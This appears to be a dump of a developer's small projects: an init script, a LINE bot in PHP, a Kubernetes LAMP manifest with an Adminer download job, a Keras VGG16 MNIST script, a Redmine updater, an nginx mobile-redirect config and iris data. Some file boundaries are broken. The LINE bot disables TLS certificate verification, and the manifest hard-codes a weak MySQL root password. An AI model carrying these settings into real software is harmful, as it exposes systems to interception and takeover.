Required-Start: my-service 6 | # Required-Stop: my-service 7 | # Default-Start: 2 3 4 5 8 | # Default-Stop: 0 1 6 9 | # Short-Description: My Linux Service 10 | ### END INIT INFO 11 | 12 | set -e 13 | 14 | SERVICE_NAME=`basename $0` 15 | PIDFILE=/var/run/myserv.pid 16 | LOGPATH="/var/log/${SERVICE_NAME}" 17 | FOREVER_BIN=`which forever` 18 | APP_PATH="/var/share/work-js/app.js" 19 | 20 | case $1 in 21 | start) 22 | if [ -e "${PIDFILE}" ]; then 23 | PID=`cat ${PIDFILE}` 24 | echo "Service is running already. (PID=${PID})" 25 | exit 1 26 | fi 27 | if [ ! -d "${LOGPATH}" ]; then 28 | mkdir -p "${LOGPATH}" 29 | fi 30 | PID=`ps aux | grep ${APP_PATH} | head -n1 | awk '{print $2}'` 31 | ${FOREVER_BIN} start ${APP_PATH} -l "${LOGPATH}/service.log" -o "${LOGPATH}/out.log" -e "${LOGPATH}/error.log" > "${LOGPATH}/start.log" 32 | rm -rf ${PIDFILE} 33 | echo "${PID}" > ${PIDFILE} 34 | echo "Service ${SERVICE_NAME} start. PID=${PID}" 35 | ;; 36 | stop) 37 | if [ ! -e "${PIDFILE}" ]; then 38 | echo "Service is not running." 39 | else 40 | PID=`cat ${PIDFILE}` 41 | kill ${PID} || true 42 | rm -rf ${PIDFILE} 43 | echo "Service ${SERVICE_NAME} stop. PID=${PID}" 44 | fi 45 | ;; 46 | restart) 47 | $0 stop 48 | sleep 1 49 | $0 start 50 | ;; 51 | status) 52 | if [ -e "${PIDFILE}" ]; then 53 | PID=`cat ${PIDFILE}` 54 | echo "Service is running. (PID=${PID})" 55 | else 56 | echo "Service is not running." 57 | fi 58 | ;; 59 | *) 60 | echo "Usage: ${0} {start|stop|restart|status}" 61 | exit 1 62 | ;; 63 | esac 64 | -------------------------------------------------------------------------------- /ImageMagick/convert-example.php: -------------------------------------------------------------------------------- 1 | ' + str(predict[0]) + ' = ' + str(answer) 71 | if answer == predict[0]: 72 | correct += 1 73 | i += 1 74 | print 'Accuracy = ' + str(float(correct) / float(len(predictList)) * 100) + '%' 75 | 76 | -------------------------------------------------------------------------------- /seo-meta-tag/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 標題,這不用解釋了 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /line-api/reply.php: -------------------------------------------------------------------------------- 1 | []])); 9 | } 10 | $db = json_decode(file_get_contents($dbFilePath), true); 11 | 12 | $bodyMsg = file_get_contents('php://input'); 13 | 14 | file_put_contents('log.txt', date('Y-m-d H:i:s') . 'Recive: ' . $bodyMsg); 15 | 16 | $obj = json_decode($bodyMsg, true); 17 | 18 | file_put_contents('log.txt', print_r($db, true)); 19 | 20 | foreach ($obj['events'] as &$event) { 21 | 22 | $userId = $event['source']['userId']; 23 | 24 | // bot dirty logic 25 | if (!isset($db['user'][$userId])) { 26 | if ($event['message']['text'] === $password) { 27 | $db['user'][$userId] = [ 28 | 'userId' => $userId, 29 | 'timestamp' => $event['timestamp'] 30 | ]; 31 | file_put_contents($dbFilePath, json_encode($db)); 32 | $message = 'Login Success! Wellcome!'; 33 | } else { 34 | $message = 'Input password please.'; 35 | } 36 | } else { 37 | if (strtolower($event['message']['text']) === 'bye') { 38 | unset($db['user'][$userId]); 39 | file_put_contents($dbFilePath, json_encode($db)); 40 | $message = 'bye'; 41 | } else { 42 | $message = 'Already logged in. You can send \'bye\' to logout.'; 43 | } 44 | } 45 | 46 | // Make payload 47 | $payload = [ 48 | 'replyToken' => $event['replyToken'], 49 | 'messages' => [ 50 | [ 51 | 'type' => 'text', 52 | 'text' => $message 53 | ] 54 | ] 55 | ]; 56 | 57 | // Send reply API 58 | $ch = curl_init(); 59 | curl_setopt($ch, CURLOPT_URL, 'https://api.line.me/v2/bot/message/reply'); 60 | curl_setopt($ch, CURLOPT_POST, true); 61 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); 62 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 63 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 64 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 65 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); 66 | curl_setopt($ch, CURLOPT_HTTPHEADER, [ 67 | 'Content-Type: application/json', 68 | 'Authorization: Bearer ' . $channelAccessToken 69 | ]); 70 | $result = curl_exec($ch); 71 | curl_close($ch); 72 | 73 | } 74 | -------------------------------------------------------------------------------- /k8s-micro-service/lamp.yml: -------------------------------------------------------------------------------- 1 | 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: php-apache 6 | spec: 7 | replicas: 2 8 | selector: 9 | matchLabels: 10 | app: php-apache 11 | template: 12 | metadata: 13 | labels: 14 | app: php-apache 15 | spec: 16 | containers: 17 | - image: php:7.2-apache 18 | name: php-apache 19 | ports: 20 | - containerPort: 80 21 | name: php-apache 22 | volumeMounts: 23 | - mountPath: "/var/www/html" 24 | name: apache-www 25 | volumes: 26 | - name: apache-www 27 | persistentVolumeClaim: 28 | claimName: pvc-apache-www 29 | 30 | --- 31 | 32 | apiVersion: apps/v1 33 | kind: Deployment 34 | metadata: 35 | name: mysql 36 | spec: 37 | replicas: 1 38 | selector: 39 | matchLabels: 40 | app: mysql 41 | template: 42 | metadata: 43 | labels: 44 | app: mysql 45 | spec: 46 | containers: 47 | - image: mysql:5.6 48 | name: mysql 49 | env: 50 | - name: MYSQL_ROOT_PASSWORD 51 | value: 1qaz2wsx 52 | ports: 53 | - containerPort: 3306 54 | name: mysql 55 | volumeMounts: 56 | - mountPath: /var/lib/mysql 57 | name: mysql-data 58 | volumes: 59 | - name: mysql-data 60 | persistentVolumeClaim: 61 | claimName: pvc-mysql-data 62 | 63 | --- 64 | 65 | apiVersion: batch/v1 66 | kind: Job 67 | metadata: 68 | name: install-adminer 69 | spec: 70 | template: 71 | spec: 72 | containers: 73 | - image: php:7.2-apache 74 | name: php-apache 75 | volumeMounts: 76 | - mountPath: "/var/www/html" 77 | name: apache-www 78 | command: ["bash", "-c", "curl -L 'https://github.com/vrana/adminer/releases/download/v4.7.0/adminer-4.7.0.php' -o adminer.php"] 79 | volumes: 80 | - name: apache-www 81 | persistentVolumeClaim: 82 | claimName: pvc-apache-www 83 | restartPolicy: Never 84 | backoffLimit: 4 85 | 86 | --- 87 | 88 | apiVersion: v1 89 | kind: Service 90 | metadata: 91 | name: web 92 | spec: 93 | type: NodePort 94 | ports: 95 | - name: http 96 | port: 80 97 | protocol: TCP 98 | nodePort: 30080 99 | targetPort: 80 100 | - name: https 101 | port: 443 102 | protocol: TCP 103 | nodePort: 30443 104 | targetPort: 443 105 | selector: 106 | app: php-apache 107 | -------------------------------------------------------------------------------- /google-colab/vgg16_mnist.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import numpy as np 3 | 4 | from keras.applications.vgg16 import VGG16 5 | from keras.layers import Input 6 | from keras.layers import Flatten 7 | from keras.layers import Dense 8 | from keras.layers import Dropout 9 | from keras.models import Model 10 | from keras.utils import np_utils 11 | from keras.datasets import mnist 12 | 13 | epochs = 10 14 | batch_size = 50 15 | row_col = 48 16 | 17 | # 原始的 MNIST 是 6000 筆 28*28 灰階 18 | def load_data(): 19 | (X_train, y_train), (X_test, y_test) = mnist.load_data() 20 | X_train, y_train = X_train[:5000], y_train[:5000] 21 | X_test, y_test = X_test[5000:6000], y_test[5000:6000] 22 | X_train = [cv2.cvtColor(cv2.resize(i, (row_col, row_col)), cv2.COLOR_GRAY2RGB) 23 | for i in X_train] 24 | X_train = np.concatenate([arr[np.newaxis] for arr in X_train]).astype('float32') 25 | X_test = [cv2.cvtColor(cv2.resize(i, (row_col, row_col)), cv2.COLOR_GRAY2RGB) 26 | for i in X_test] 27 | X_test = np.concatenate([arr[np.newaxis] for arr in X_test]).astype('float32') 28 | 29 | X_train = X_train / 255 30 | X_test = X_test / 255 31 | 32 | y_train_ohe = np_utils.to_categorical(y_train, 10) 33 | y_test_ohe = np_utils.to_categorical(y_test, 10) 34 | 35 | return (X_train, y_train_ohe), (X_test, y_test_ohe) 36 | 37 | 38 | def load_model(): 39 | 40 | base_network = VGG16(include_top=False, weights='imagenet', input_shape=(row_col, row_col, 3)) 41 | 42 | # 凍結預設的參數 43 | for layer in base_network.layers: 44 | layer.trainable = False 45 | 46 | # 接上自行定義的全連結層 47 | model = Flatten()(base_network.output) 48 | model = Dense(4096, activation='relu', name='full_connect_1')(model) 49 | model = Dense(4096, activation='relu', name='full_connect_2')(model) 50 | model = Dropout(0.5)(model) 51 | model = Dense(10, activation='softmax', name='prediction')(model) 52 | model = Model(base_network.input, model, name='my_model') 53 | 54 | return model 55 | 56 | 57 | # 載入模型 58 | model = load_model() 59 | model.summary() 60 | 61 | # 載入訓練資料 62 | (x_train, y_train_ohe), (x_test, y_test_ohe) = load_data() 63 | print('Train Size:', x_train.shape) 64 | print('Test Size:', x_test.shape) 65 | 66 | #定義 loss function 67 | from keras.optimizers import SGD 68 | sgd = SGD(lr=0.05, decay=1e-5) 69 | model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy']) 70 | 71 | # 開始訓練 72 | model.fit(x_train, y_train_ohe, validation_data=(x_test, y_test_ohe), epochs=epochs, batch_size=batch_size) 73 | 74 | # 輸出結果 75 | print('Train Acc:', model.evaluate(x_train, y_train_ohe)[1]) 76 | print('Test Acc:', model.evaluate(x_test, y_test_ohe)[1]) 77 | -------------------------------------------------------------------------------- /redmine-reply.php: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env /usr/bin/php 2 | array( 48 | 'notes' => $notes, 49 | 'done_ratio' => $doneRatio 50 | ) 51 | )); 52 | $contentType = 'application/json; charset=utf-8'; 53 | } else { 54 | $data = ''; 55 | $data .= ''; 56 | $data .= '' . $notes . ''; 57 | $data .= '' . $doneRatio . ''; 58 | $data .= ''; 59 | $url = sprintf('%s/issues/%d.xml?key=%s', $hostname, $issueNo, $key); 60 | $contentType = 'application/xml; charset=utf-8'; 61 | } 62 | 63 | $curl = curl_init($url); 64 | curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT'); 65 | curl_setopt($curl, CURLOPT_HEADER, false); 66 | curl_setopt($curl, CURLOPT_HTTPHEADER, array( 67 | 'Content-Type: ' . $contentType, 68 | 'X-Redmine-API-Key: ' . $key 69 | )); 70 | curl_setopt($curl, CURLOPT_POSTFIELDS, $data); 71 | $response = curl_exec($curl); 72 | $httpStatus = curl_getinfo($curl, CURLINFO_HTTP_CODE); 73 | if ($httpStatus !== 200) { 74 | echo "Update redmine issue fail! (#${issueNo})\n" . print_r($data, true) . "\n"; 75 | } else { 76 | echo "Update change log to redmine issue #${issueNo}.\n"; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /nginx-auto-switch/sites-enabled/site.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | 4 | server_name localhost; 5 | root /home/sj/nginx-auto-switch/www; 6 | 7 | index index.html; 8 | 9 | access_log /var/log/nginx/access.log; 10 | error_log /var/log/nginx/error.log; 11 | 12 | charset utf-8; 13 | 14 | # detect http_user_agent for mobile / smart phones 15 | set $mobile_rewrite do_not_perform; 16 | if ($http_user_agent ~* "android|(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino") { 17 | set $mobile_rewrite perform; 18 | } 19 | if ($http_user_agent ~* "^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-)") { 20 | set $mobile_rewrite perform; 21 | } 22 | 23 | # force rewrite desktop / mobile 24 | set $force_dt_cookie ""; 25 | if ($args ~ 'desktop=true') { 26 | set $mobile_rewrite do_not_perform; 27 | set $force_dt_cookie "desktop=true"; 28 | } 29 | if ($args ~ 'desktop=false') { 30 | set $mobile_rewrite perform; 31 | set $force_dt_cookie "desktop=false"; 32 | } 33 | add_header Set-Cookie $force_dt_cookie; 34 | if ($http_cookie ~ 'desktop=true') { 35 | set $mobile_rewrite do_not_perform; 36 | } 37 | 38 | # mobile root rewrite 39 | if ($mobile_rewrite = perform) { 40 | rewrite ^/$ /index.html last; 41 | rewrite ^(.*)$ /mobile$1 break; 42 | } 43 | # default desktop root rewrite 44 | rewrite ^/$ /index.html last; 45 | rewrite ^(.*)$ /desktop$1 break; 46 | } 47 | -------------------------------------------------------------------------------- /sj-nn/iris.csv: -------------------------------------------------------------------------------- 1 | 5.1,3.5,1.4,0.2,setosa 2 | 4.9,3.0,1.4,0.2,setosa 3 | 4.7,3.2,1.3,0.2,setosa 4 | 4.6,3.1,1.5,0.2,setosa 5 | 5.0,3.6,1.4,0.2,setosa 6 | 5.4,3.9,1.7,0.4,setosa 7 | 4.6,3.4,1.4,0.3,setosa 8 | 5.0,3.4,1.5,0.2,setosa 9 | 4.4,2.9,1.4,0.2,setosa 10 | 4.9,3.1,1.5,0.1,setosa 11 | 5.4,3.7,1.5,0.2,setosa 12 | 4.8,3.4,1.6,0.2,setosa 13 | 4.8,3.0,1.4,0.1,setosa 14 | 4.3,3.0,1.1,0.1,setosa 15 | 5.8,4.0,1.2,0.2,setosa 16 | 5.7,4.4,1.5,0.4,setosa 17 | 5.4,3.9,1.3,0.4,setosa 18 | 5.1,3.5,1.4,0.3,setosa 19 | 5.7,3.8,1.7,0.3,setosa 20 | 5.1,3.8,1.5,0.3,setosa 21 | 5.4,3.4,1.7,0.2,setosa 22 | 5.1,3.7,1.5,0.4,setosa 23 | 4.6,3.6,1.0,0.2,setosa 24 | 5.1,3.3,1.7,0.5,setosa 25 | 4.8,3.4,1.9,0.2,setosa 26 | 5.0,3.0,1.6,0.2,setosa 27 | 5.0,3.4,1.6,0.4,setosa 28 | 5.2,3.5,1.5,0.2,setosa 29 | 5.2,3.4,1.4,0.2,setosa 30 | 4.7,3.2,1.6,0.2,setosa 31 | 4.8,3.1,1.6,0.2,setosa 32 | 5.4,3.4,1.5,0.4,setosa 33 | 5.2,4.1,1.5,0.1,setosa 34 | 5.5,4.2,1.4,0.2,setosa 35 | 4.9,3.1,1.5,0.1,setosa 36 | 5.0,3.2,1.2,0.2,setosa 37 | 5.5,3.5,1.3,0.2,setosa 38 | 4.9,3.1,1.5,0.1,setosa 39 | 4.4,3.0,1.3,0.2,setosa 40 | 5.1,3.4,1.5,0.2,setosa 41 | 5.0,3.5,1.3,0.3,setosa 42 | 4.5,2.3,1.3,0.3,setosa 43 | 4.4,3.2,1.3,0.2,setosa 44 | 5.0,3.5,1.6,0.6,setosa 45 | 5.1,3.8,1.9,0.4,setosa 46 | 4.8,3.0,1.4,0.3,setosa 47 | 5.1,3.8,1.6,0.2,setosa 48 | 4.6,3.2,1.4,0.2,setosa 49 | 5.3,3.7,1.5,0.2,setosa 50 | 5.0,3.3,1.4,0.2,setosa 51 | 7.0,3.2,4.7,1.4,versicolor 52 | 6.4,3.2,4.5,1.5,versicolor 53 | 6.9,3.1,4.9,1.5,versicolor 54 | 5.5,2.3,4.0,1.3,versicolor 55 | 6.5,2.8,4.6,1.5,versicolor 56 | 5.7,2.8,4.5,1.3,versicolor 57 | 6.3,3.3,4.7,1.6,versicolor 58 | 4.9,2.4,3.3,1.0,versicolor 59 | 6.6,2.9,4.6,1.3,versicolor 60 | 5.2,2.7,3.9,1.4,versicolor 61 | 5.0,2.0,3.5,1.0,versicolor 62 | 5.9,3.0,4.2,1.5,versicolor 63 | 6.0,2.2,4.0,1.0,versicolor 64 | 6.1,2.9,4.7,1.4,versicolor 65 | 5.6,2.9,3.6,1.3,versicolor 66 | 6.7,3.1,4.4,1.4,versicolor 67 | 5.6,3.0,4.5,1.5,versicolor 68 | 5.8,2.7,4.1,1.0,versicolor 69 | 6.2,2.2,4.5,1.5,versicolor 70 | 5.6,2.5,3.9,1.1,versicolor 71 | 5.9,3.2,4.8,1.8,versicolor 72 | 6.1,2.8,4.0,1.3,versicolor 73 | 6.3,2.5,4.9,1.5,versicolor 74 | 6.1,2.8,4.7,1.2,versicolor 75 | 6.4,2.9,4.3,1.3,versicolor 76 | 6.6,3.0,4.4,1.4,versicolor 77 | 6.8,2.8,4.8,1.4,versicolor 78 | 6.7,3.0,5.0,1.7,versicolor 79 | 6.0,2.9,4.5,1.5,versicolor 80 | 5.7,2.6,3.5,1.0,versicolor 81 | 5.5,2.4,3.8,1.1,versicolor 82 | 5.5,2.4,3.7,1.0,versicolor 83 | 5.8,2.7,3.9,1.2,versicolor 84 | 6.0,2.7,5.1,1.6,versicolor 85 | 5.4,3.0,4.5,1.5,versicolor 86 | 6.0,3.4,4.5,1.6,versicolor 87 | 6.7,3.1,4.7,1.5,versicolor 88 | 6.3,2.3,4.4,1.3,versicolor 89 | 5.6,3.0,4.1,1.3,versicolor 90 | 5.5,2.5,4.0,1.3,versicolor 91 | 5.5,2.6,4.4,1.2,versicolor 92 | 6.1,3.0,4.6,1.4,versicolor 93 | 5.8,2.6,4.0,1.2,versicolor 94 | 5.0,2.3,3.3,1.0,versicolor 95 | 5.6,2.7,4.2,1.3,versicolor 96 | 5.7,3.0,4.2,1.2,versicolor 97 | 5.7,2.9,4.2,1.3,versicolor 98 | 6.2,2.9,4.3,1.3,versicolor 99 | 5.1,2.5,3.0,1.1,versicolor 100 | 5.7,2.8,4.1,1.3,versicolor 101 | 6.3,3.3,6.0,2.5,virginica 102 | 5.8,2.7,5.1,1.9,virginica 103 | 7.1,3.0,5.9,2.1,virginica 104 | 6.3,2.9,5.6,1.8,virginica 105 | 6.5,3.0,5.8,2.2,virginica 106 | 7.6,3.0,6.6,2.1,virginica 107 | 4.9,2.5,4.5,1.7,virginica 108 | 7.3,2.9,6.3,1.8,virginica 109 | 6.7,2.5,5.8,1.8,virginica 110 | 7.2,3.6,6.1,2.5,virginica 111 | 6.5,3.2,5.1,2.0,virginica 112 | 6.4,2.7,5.3,1.9,virginica 113 | 6.8,3.0,5.5,2.1,virginica 114 | 5.7,2.5,5.0,2.0,virginica 115 | 5.8,2.8,5.1,2.4,virginica 116 | 6.4,3.2,5.3,2.3,virginica 117 | 6.5,3.0,5.5,1.8,virginica 118 | 7.7,3.8,6.7,2.2,virginica 119 | 7.7,2.6,6.9,2.3,virginica 120 | 6.0,2.2,5.0,1.5,virginica 121 | 6.9,3.2,5.7,2.3,virginica 122 | 5.6,2.8,4.9,2.0,virginica 123 | 7.7,2.8,6.7,2.0,virginica 124 | 6.3,2.7,4.9,1.8,virginica 125 | 6.7,3.3,5.7,2.1,virginica 126 | 7.2,3.2,6.0,1.8,virginica 127 | 6.2,2.8,4.8,1.8,virginica 128 | 6.1,3.0,4.9,1.8,virginica 129 | 6.4,2.8,5.6,2.1,virginica 130 | 7.2,3.0,5.8,1.6,virginica 131 | 7.4,2.8,6.1,1.9,virginica 132 | 7.9,3.8,6.4,2.0,virginica 133 | 6.4,2.8,5.6,2.2,virginica 134 | 6.3,2.8,5.1,1.5,virginica 135 | 6.1,2.6,5.6,1.4,virginica 136 | 7.7,3.0,6.1,2.3,virginica 137 | 6.3,3.4,5.6,2.4,virginica 138 | 6.4,3.1,5.5,1.8,virginica 139 | 6.0,3.0,4.8,1.8,virginica 140 | 6.9,3.1,5.4,2.1,virginica 141 | 6.7,3.1,5.6,2.4,virginica 142 | 6.9,3.1,5.1,2.3,virginica 143 | 5.8,2.7,5.1,1.9,virginica 144 | 6.8,3.2,5.9,2.3,virginica 145 | 6.7,3.3,5.7,2.5,virginica 146 | 6.7,3.0,5.2,2.3,virginica 147 | 6.3,2.5,5.0,1.9,virginica 148 | 6.5,3.0,5.2,2.0,virginica 149 | 6.2,3.4,5.4,2.3,virginica 150 | 5.9,3.0,5.1,1.8,virginica 151 | -------------------------------------------------------------------------------- /spark-ml-iris/iris.csv: -------------------------------------------------------------------------------- 1 | 5.1,3.5,1.4,0.2,setosa 2 | 4.9,3.0,1.4,0.2,setosa 3 | 4.7,3.2,1.3,0.2,setosa 4 | 4.6,3.1,1.5,0.2,setosa 5 | 5.0,3.6,1.4,0.2,setosa 6 | 5.4,3.9,1.7,0.4,setosa 7 | 4.6,3.4,1.4,0.3,setosa 8 | 5.0,3.4,1.5,0.2,setosa 9 | 4.4,2.9,1.4,0.2,setosa 10 | 4.9,3.1,1.5,0.1,setosa 11 | 5.4,3.7,1.5,0.2,setosa 12 | 4.8,3.4,1.6,0.2,setosa 13 | 4.8,3.0,1.4,0.1,setosa 14 | 4.3,3.0,1.1,0.1,setosa 15 | 5.8,4.0,1.2,0.2,setosa 16 | 5.7,4.4,1.5,0.4,setosa 17 | 5.4,3.9,1.3,0.4,setosa 18 | 5.1,3.5,1.4,0.3,setosa 19 | 5.7,3.8,1.7,0.3,setosa 20 | 5.1,3.8,1.5,0.3,setosa 21 | 5.4,3.4,1.7,0.2,setosa 22 | 5.1,3.7,1.5,0.4,setosa 23 | 4.6,3.6,1.0,0.2,setosa 24 | 5.1,3.3,1.7,0.5,setosa 25 | 4.8,3.4,1.9,0.2,setosa 26 | 5.0,3.0,1.6,0.2,setosa 27 | 5.0,3.4,1.6,0.4,setosa 28 | 5.2,3.5,1.5,0.2,setosa 29 | 5.2,3.4,1.4,0.2,setosa 30 | 4.7,3.2,1.6,0.2,setosa 31 | 4.8,3.1,1.6,0.2,setosa 32 | 5.4,3.4,1.5,0.4,setosa 33 | 5.2,4.1,1.5,0.1,setosa 34 | 5.5,4.2,1.4,0.2,setosa 35 | 4.9,3.1,1.5,0.1,setosa 36 | 5.0,3.2,1.2,0.2,setosa 37 | 5.5,3.5,1.3,0.2,setosa 38 | 4.9,3.1,1.5,0.1,setosa 39 | 4.4,3.0,1.3,0.2,setosa 40 | 5.1,3.4,1.5,0.2,setosa 41 | 5.0,3.5,1.3,0.3,setosa 42 | 4.5,2.3,1.3,0.3,setosa 43 | 4.4,3.2,1.3,0.2,setosa 44 | 5.0,3.5,1.6,0.6,setosa 45 | 5.1,3.8,1.9,0.4,setosa 46 | 4.8,3.0,1.4,0.3,setosa 47 | 5.1,3.8,1.6,0.2,setosa 48 | 4.6,3.2,1.4,0.2,setosa 49 | 5.3,3.7,1.5,0.2,setosa 50 | 5.0,3.3,1.4,0.2,setosa 51 | 7.0,3.2,4.7,1.4,versicolor 52 | 6.4,3.2,4.5,1.5,versicolor 53 | 6.9,3.1,4.9,1.5,versicolor 54 | 5.5,2.3,4.0,1.3,versicolor 55 | 6.5,2.8,4.6,1.5,versicolor 56 | 5.7,2.8,4.5,1.3,versicolor 57 | 6.3,3.3,4.7,1.6,versicolor 58 | 4.9,2.4,3.3,1.0,versicolor 59 | 6.6,2.9,4.6,1.3,versicolor 60 | 5.2,2.7,3.9,1.4,versicolor 61 | 5.0,2.0,3.5,1.0,versicolor 62 | 5.9,3.0,4.2,1.5,versicolor 63 | 6.0,2.2,4.0,1.0,versicolor 64 | 6.1,2.9,4.7,1.4,versicolor 65 | 5.6,2.9,3.6,1.3,versicolor 66 | 6.7,3.1,4.4,1.4,versicolor 67 | 5.6,3.0,4.5,1.5,versicolor 68 | 5.8,2.7,4.1,1.0,versicolor 69 | 6.2,2.2,4.5,1.5,versicolor 70 | 5.6,2.5,3.9,1.1,versicolor 71 | 5.9,3.2,4.8,1.8,versicolor 72 | 6.1,2.8,4.0,1.3,versicolor 73 | 6.3,2.5,4.9,1.5,versicolor 74 | 6.1,2.8,4.7,1.2,versicolor 75 | 6.4,2.9,4.3,1.3,versicolor 76 | 6.6,3.0,4.4,1.4,versicolor 77 | 6.8,2.8,4.8,1.4,versicolor 78 | 6.7,3.0,5.0,1.7,versicolor 79 | 6.0,2.9,4.5,1.5,versicolor 80 | 5.7,2.6,3.5,1.0,versicolor 81 | 5.5,2.4,3.8,1.1,versicolor 82 | 5.5,2.4,3.7,1.0,versicolor 83 | 5.8,2.7,3.9,1.2,versicolor 84 | 6.0,2.7,5.1,1.6,versicolor 85 | 5.4,3.0,4.5,1.5,versicolor 86 | 6.0,3.4,4.5,1.6,versicolor 87 | 6.7,3.1,4.7,1.5,versicolor 88 | 6.3,2.3,4.4,1.3,versicolor 89 | 5.6,3.0,4.1,1.3,versicolor 90 | 5.5,2.5,4.0,1.3,versicolor 91 | 5.5,2.6,4.4,1.2,versicolor 92 | 6.1,3.0,4.6,1.4,versicolor 93 | 5.8,2.6,4.0,1.2,versicolor 94 | 5.0,2.3,3.3,1.0,versicolor 95 | 5.6,2.7,4.2,1.3,versicolor 96 | 5.7,3.0,4.2,1.2,versicolor 97 | 5.7,2.9,4.2,1.3,versicolor 98 | 6.2,2.9,4.3,1.3,versicolor 99 | 5.1,2.5,3.0,1.1,versicolor 100 | 5.7,2.8,4.1,1.3,versicolor 101 | 6.3,3.3,6.0,2.5,virginica 102 | 5.8,2.7,5.1,1.9,virginica 103 | 7.1,3.0,5.9,2.1,virginica 104 | 6.3,2.9,5.6,1.8,virginica 105 | 6.5,3.0,5.8,2.2,virginica 106 | 7.6,3.0,6.6,2.1,virginica 107 | 4.9,2.5,4.5,1.7,virginica 108 | 7.3,2.9,6.3,1.8,virginica 109 | 6.7,2.5,5.8,1.8,virginica 110 | 7.2,3.6,6.1,2.5,virginica 111 | 6.5,3.2,5.1,2.0,virginica 112 | 6.4,2.7,5.3,1.9,virginica 113 | 6.8,3.0,5.5,2.1,virginica 114 | 5.7,2.5,5.0,2.0,virginica 115 | 5.8,2.8,5.1,2.4,virginica 116 | 6.4,3.2,5.3,2.3,virginica 117 | 6.5,3.0,5.5,1.8,virginica 118 | 7.7,3.8,6.7,2.2,virginica 119 | 7.7,2.6,6.9,2.3,virginica 120 | 6.0,2.2,5.0,1.5,virginica 121 | 6.9,3.2,5.7,2.3,virginica 122 | 5.6,2.8,4.9,2.0,virginica 123 | 7.7,2.8,6.7,2.0,virginica 124 | 6.3,2.7,4.9,1.8,virginica 125 | 6.7,3.3,5.7,2.1,virginica 126 | 7.2,3.2,6.0,1.8,virginica 127 | 6.2,2.8,4.8,1.8,virginica 128 | 6.1,3.0,4.9,1.8,virginica 129 | 6.4,2.8,5.6,2.1,virginica 130 | 7.2,3.0,5.8,1.6,virginica 131 | 7.4,2.8,6.1,1.9,virginica 132 | 7.9,3.8,6.4,2.0,virginica 133 | 6.4,2.8,5.6,2.2,virginica 134 | 6.3,2.8,5.1,1.5,virginica 135 | 6.1,2.6,5.6,1.4,virginica 136 | 7.7,3.0,6.1,2.3,virginica 137 | 6.3,3.4,5.6,2.4,virginica 138 | 